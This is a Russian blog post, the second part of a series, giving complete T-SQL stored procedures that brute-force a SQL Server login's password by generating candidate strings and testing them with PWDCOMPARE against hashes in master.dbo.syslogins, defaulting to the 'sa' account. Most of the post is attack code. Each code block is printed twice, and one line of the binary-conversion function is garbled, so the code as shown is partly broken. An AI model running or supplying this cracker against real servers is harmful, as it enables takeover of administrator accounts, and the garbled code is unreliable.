parol-SQL-uchetnoy-zapisi





 

Продолжаем решать проблему, начатую в статье “Брутфорс с помощью MSSQL-сервера. часть1“, как можно подобрать пароль SQL-ной учетной записи, причем подобрать именно средствами SQL. 
 

Создаём таблицу, в которой будем генерировать пароли и алфавит для наших паролей:

CREATE DATABASE [Brute_force] ON  PRIMARY
( NAME = N'Brute_force', FILENAME = N'c:\Brute_force.mdf' , SIZE = 3072KB
, FILEGROWTH = 1024KB )
LOG ON
( NAME = N'Brute_force_log', FILENAME = N'c:\Brute_force_log.ldf' , SIZE =
 17408KB , FILEGROWTH = 10%)
GO
ALTER DATABASE [Brute_force] SET RECOVERY SIMPLE
GO
ALTER DATABASE [Brute_force] COLLATE Cyrillic_General_CS_AS
GO
CREATE DATABASE [Brute_force] ON  PRIMARY
( NAME = N'Brute_force', FILENAME = N'c:\Brute_force.mdf' , SIZE = 3072KB
, FILEGROWTH = 1024KB )
LOG ON
( NAME = N'Brute_force_log', FILENAME = N'c:\Brute_force_log.ldf' , SIZE =
 17408KB , FILEGROWTH = 10%)
GO
ALTER DATABASE [Brute_force] SET RECOVERY SIMPLE
GO
ALTER DATABASE [Brute_force] COLLATE Cyrillic_General_CS_AS
GO

Первая часть скрипта создаёт базу данных, потом мы устанавливаем простую модель восстановления и выставляем тип сравнения. чувствительный к регистру.

Создаём таблицы в нашей БД:

CREATE TABLE dbo.Lang
(   pass char(1)
    ,CONSTRAINT PK_Lang PRIMARY KEY (pass)
)
Go
CREATE TABLE dbo.Pass
(
   pass sysname,
    CONSTRAINT PK_Pass PRIMARY KEY (pass)
)
GO
CREATE TABLE dbo.Result
(
   username sysname
   ,pass sysname
)
GO
CREATE TABLE dbo.Lang
(   pass char(1)
    ,CONSTRAINT PK_Lang PRIMARY KEY (pass)
)
Go
CREATE TABLE dbo.Pass
(
   pass sysname,
    CONSTRAINT PK_Pass PRIMARY KEY (pass)
)
GO
CREATE TABLE dbo.Result
(
   username sysname
   ,pass sysname
)
GO

В первой таблице (Lang) мы будем хранить алфавит наших паролей, во второй таблице (Pass) будем хранить сами пароли, и в третьей таблице (Result) мы будем хранить найденные пароли.

Создаём встроенные процедуры.

Вспомогательная процедура конвертирует TININT в строку, содержащую бинарное представление числа. (Например, 1 преобразуется в 0000001 и тд.)

CREATE FUNCTION dbo.fnBinaryPattern
(@Byte TINYINT)
RETURNS CHAR(8)
AS
  BEGIN
    DECLARE  @Pattern CHAR(8)
    SET @Pattern = ''
    SELECT @Pattern = convert(VARCHAR,+(@Byte & 1) / 1) +
    convert(VARCHAR,(@Byte & 2) / 2) +
    convert(VARCHAR,(@Byte & 4) / 4) +
    convert(VARCHAR,(@Byte & ) /) +
    convert(VARCHAR,(@Byte & 16) / 16) +
    convert(VARCHAR,(@Byte & 32) / 32) +
    convert(VARCHAR,(@Byte & 64) / 64) +
    convert(VARCHAR,(@Byte & 128) / 128)
    RETURN reverse(@Pattern)
  END
GO
CREATE FUNCTION dbo.fnBinaryPattern
(@Byte TINYINT)
RETURNS CHAR(8)
AS
  BEGIN
    DECLARE  @Pattern CHAR(8)
    SET @Pattern = ''
    SELECT @Pattern = convert(VARCHAR,+(@Byte & 1) / 1) +
    convert(VARCHAR,(@Byte & 2) / 2) +
    convert(VARCHAR,(@Byte & 4) / 4) +
    convert(VARCHAR,(@Byte & ) /) +
    convert(VARCHAR,(@Byte & 16) / 16) +
    convert(VARCHAR,(@Byte & 32) / 32) +
    convert(VARCHAR,(@Byte & 64) / 64) +
    convert(VARCHAR,(@Byte & 128) / 128)
    RETURN reverse(@Pattern)
  END
GO

Процедура создаёт алфавит в таблице Lang, состоящий:

  • из одних заглавных и прописных букв, если параметр iLang = 1,
  • только из цифр, если iLang = 2
  • только из спец символов, если iLang =6.

Можно так же комбинировать эти биты как угодно.

CREATE PROCEDURE dbo.creat_lang
(@iLang  TINYINT =  0)AS
BEGIN
SET NOCOUNT ON
DECLARE @str_bit CHAR(8)
DECLARE @i int
DELETE FROM dbo.Lang;
set @str_bit = dbo.fnBinaryPattern(@iLang)
print @str_bit
IF substring(@str_bit,6,1) = '1'
BEGIN
       print '3 bit up(other redible simbols)'
       SET @i = 32
       WHILE @i < 48
       BEGIN
             INSERT INTO dbo.Lang(pass) VALUES (CHAR(@i))
             SET @i=@i+1
       END;
       SET @i = 58
       WHILE @i < 65
       BEGIN
             INSERT INTO dbo.Lang(pass) VALUES (CHAR(@i))
             SET @i=@i+1
       END;
       SET @i = 91
       WHILE @i < 97
       BEGIN
             INSERT INTO dbo.Lang(pass) VALUES (CHAR(@i))
             SET @i=@i+1
       END;
       SET @i = 123
       WHILE @i < 127
       BEGIN
             INSERT INTO dbo.Lang(pass) VALUES (CHAR(@i))
             SET @i=@i+1
       END;
END
IF substring(@str_bit,7,1) = '1'
BEGIN
       print '2 bit up(0-9)'
       SET @i = 48
       WHILE @i < 58
       BEGIN
             INSERT INTO dbo.Lang(pass) VALUES (CHAR(@i))
             SET @i=@i+1
       END;
 
END
IF substring(@str_bit,8,1) = '1'
BEGIN
       print '1 bit up (A-Z,a-z)'
       SET @i = 65
       WHILE @i < 91
       BEGIN
             INSERT INTO dbo.Lang(pass) VALUES (CHAR(@i))
             SET @i=@i+1
       END;
       SET @i = 97
       WHILE @i < 123
       BEGIN
             INSERT INTO dbo.Lang(pass) VALUES (CHAR(@i))
             SET @i=@i+1
       END;
END
END
GO
CREATE PROCEDURE dbo.creat_lang
(@iLang  TINYINT =  0)AS
BEGIN
SET NOCOUNT ON
DECLARE @str_bit CHAR(8)
DECLARE @i int
DELETE FROM dbo.Lang;
set @str_bit = dbo.fnBinaryPattern(@iLang)
print @str_bit
IF substring(@str_bit,6,1) = '1'
BEGIN
       print '3 bit up(other redible simbols)'
       SET @i = 32
       WHILE @i < 48
       BEGIN
             INSERT INTO dbo.Lang(pass) VALUES (CHAR(@i))
             SET @i=@i+1
       END;
       SET @i = 58
       WHILE @i < 65
       BEGIN
             INSERT INTO dbo.Lang(pass) VALUES (CHAR(@i))
             SET @i=@i+1
       END;
       SET @i = 91
       WHILE @i < 97
       BEGIN
             INSERT INTO dbo.Lang(pass) VALUES (CHAR(@i))
             SET @i=@i+1
       END;
       SET @i = 123
       WHILE @i < 127
       BEGIN
             INSERT INTO dbo.Lang(pass) VALUES (CHAR(@i))
             SET @i=@i+1
       END;
END
IF substring(@str_bit,7,1) = '1'
BEGIN
       print '2 bit up(0-9)'
       SET @i = 48
       WHILE @i < 58
       BEGIN
             INSERT INTO dbo.Lang(pass) VALUES (CHAR(@i))
             SET @i=@i+1
       END;

END
IF substring(@str_bit,8,1) = '1'
BEGIN
       print '1 bit up (A-Z,a-z)'
       SET @i = 65
       WHILE @i < 91
       BEGIN
             INSERT INTO dbo.Lang(pass) VALUES (CHAR(@i))
             SET @i=@i+1
       END;
       SET @i = 97
       WHILE @i < 123
       BEGIN
             INSERT INTO dbo.Lang(pass) VALUES (CHAR(@i))
             SET @i=@i+1
       END;
END
END
GO

Процедура creat_SubDict генерирует на основе словаря пароли, периодически проводя проверки с хэшем и очищая таблицу от не подошедших паролей.

Параметры:

@strPass - часть пароля, получившаяся на предыдущей итерации

@iLen - длина пароля

@iLenOrig - устанавливает на какой итерации проводить сравнение сгенерированных паролей с хэшем

UserNamе - пользователь, для которого подбираем пароль

CREATE PROCEDURE dbo.creat_SubDict
      (@strPass varchar(255)
      ,@iLen  TINYINT =  1
      ,@iLenOrig TINYINT = 0
      ,@UserName sysname='sa')
AS
BEGIN
      SET NOCOUNT ON
      DECLARE @fullpass char(255);
      DECLARE @strChar char(255);
      DECLARE @i_Len TINYINT;
      DECLARE Lang_Cursor CURSOR LOCAL FOR
      SELECT pass FROM Brute_force.dbo.Lang;
      SET @i_Len= @iLen-1
      OPEN Lang_Cursor;
      FETCH NEXT FROM Lang_Cursor INTO @strChar;
      WHILE @@FETCH_STATUS = 0
      BEGIN
            SET @fullpass = RTrim(@strPass) + RTrim(@strChar);
            IF @iLen>1
            BEGIN
                  EXECUTE dbo.creat_SubDict @strPass=@fullpass ,@iLen=@i_Len,
@iLenOrig=@iLenOrig, @UserName=@UserName
            END
            ELSE
            BEGIN
                  INSERT INTO Brute_force.dbo.Pass(pass) VALUES (@fullpass );
            END;
            FETCH NEXT FROM Lang_Cursor INTO @strChar
      END;
      IF @iLenOrig =@iLen
      BEGIN
            Insert into Brute_force.dbo.Result
             select u.name,p.pass
             FROM Brute_force.dbo.Pass as p
             CROSS JOIN
             master.dbo.syslogins u
             WHERE
             u.[password] IS NOT NULL AND
             u.name=@UserName AND
             PWDCOMPARE(RTRIM(p.pass), u.[password])=1
             DELETE FROM Brute_force.dbo.Pass;
      END;
      CLOSE Lang_Cursor;
      DEALLOCATE Lang_Cursor;
 
END
GO
CREATE PROCEDURE dbo.creat_SubDict
      (@strPass varchar(255)
      ,@iLen  TINYINT =  1
      ,@iLenOrig TINYINT = 0
      ,@UserName sysname='sa')
AS
BEGIN
      SET NOCOUNT ON
      DECLARE @fullpass char(255);
      DECLARE @strChar char(255);
      DECLARE @i_Len TINYINT;
      DECLARE Lang_Cursor CURSOR LOCAL FOR
      SELECT pass FROM Brute_force.dbo.Lang;
      SET @i_Len= @iLen-1
      OPEN Lang_Cursor;
      FETCH NEXT FROM Lang_Cursor INTO @strChar;
      WHILE @@FETCH_STATUS = 0
      BEGIN
            SET @fullpass = RTrim(@strPass) + RTrim(@strChar);
            IF @iLen>1
            BEGIN
                  EXECUTE dbo.creat_SubDict @strPass=@fullpass ,@iLen=@i_Len,
@iLenOrig=@iLenOrig, @UserName=@UserName
            END
            ELSE
            BEGIN
                  INSERT INTO Brute_force.dbo.Pass(pass) VALUES (@fullpass );
            END;
            FETCH NEXT FROM Lang_Cursor INTO @strChar
      END;
      IF @iLenOrig =@iLen
      BEGIN
            Insert into Brute_force.dbo.Result
             select u.name,p.pass
             FROM Brute_force.dbo.Pass as p
             CROSS JOIN
             master.dbo.syslogins u
             WHERE
             u.[password] IS NOT NULL AND
             u.name=@UserName AND
             PWDCOMPARE(RTRIM(p.pass), u.[password])=1
             DELETE FROM Brute_force.dbo.Pass;
      END;
      CLOSE Lang_Cursor;
      DEALLOCATE Lang_Cursor;

END
GO

Материнская процедура, которую вызывает пользователь.

@iLenBegin - минимальная длина пароля

@iLenEnd - максимальная длина пароля

@iLenOrig – устанавливает, на какой итерации проводить сравнение сгенерированных паролей с хэшем

UserNamе – пользователь, для которого подбираем пароль

CREATE PROCEDURE dbo.creat_dict
      (@iLenBegin TINYINT =  1
      ,@iLenEnd  TINYINT =  1
      ,@iLenOrig TINYINT = 0
      ,@UserName sysname='sa')
AS
BEGIN
      SET NOCOUNT ON
      DELETE FROM Brute_force.dbo.Pass;
      DECLARE @i TINYINT
      SET @i =@iLenBegin
      WHILE @i <=@iLenEnd
      BEGIN
            print 'Creating '+convert(VARCHAR,@i)+' len Pass';
            EXECUTE creat_SubDict @strPass='', @iLen=@i, @iLenOrig=@iLenOrig,
@UserName=@UserName
            print convert(VARCHAR,@i)+' len Pass has created'
            SET @i = @i+1;
      END;
END
GO
CREATE PROCEDURE dbo.creat_dict
      (@iLenBegin TINYINT =  1
      ,@iLenEnd  TINYINT =  1
      ,@iLenOrig TINYINT = 0
      ,@UserName sysname='sa')
AS
BEGIN
      SET NOCOUNT ON
      DELETE FROM Brute_force.dbo.Pass;
      DECLARE @i TINYINT
      SET @i =@iLenBegin
      WHILE @i <=@iLenEnd
      BEGIN
            print 'Creating '+convert(VARCHAR,@i)+' len Pass';
            EXECUTE creat_SubDict @strPass='', @iLen=@i, @iLenOrig=@iLenOrig,
@UserName=@UserName
            print convert(VARCHAR,@i)+' len Pass has created'
            SET @i = @i+1;
      END;
END
GO

Ну и собственно запускаем процедуру подбора пароля :

USE Brute_force
GO
USE Brute_force
GO

Генерируем алфавит.

EXECUTE creat_lang @iLang=3
GO
EXECUTE creat_lang @iLang=3
GO

Запускаем перебор паролей.

EXECUTE creat_dict @iLenBegin=1, @iLenEnd=4
GO
EXECUTE creat_dict @iLenBegin=1, @iLenEnd=4
GO

Проверяем результат:

select * from Brute_force.dbo.Result
select * from Brute_force.dbo.Result

Вряд ли эта статья будет иметь какое-либо практическое применение, но как тренировка практических знаний и упражнение для ума, надеюсь, будет полезна.

 

Интересная статья?  Подпишитесь на обновления блога и получите еще больше информации по RSS Vladimir Shurygin RSS  ,   RSS Vladimir Shurygin Email   или  twitter Vladimir Shurygin twitter !
Поделитесь с друзьями этой статьей в: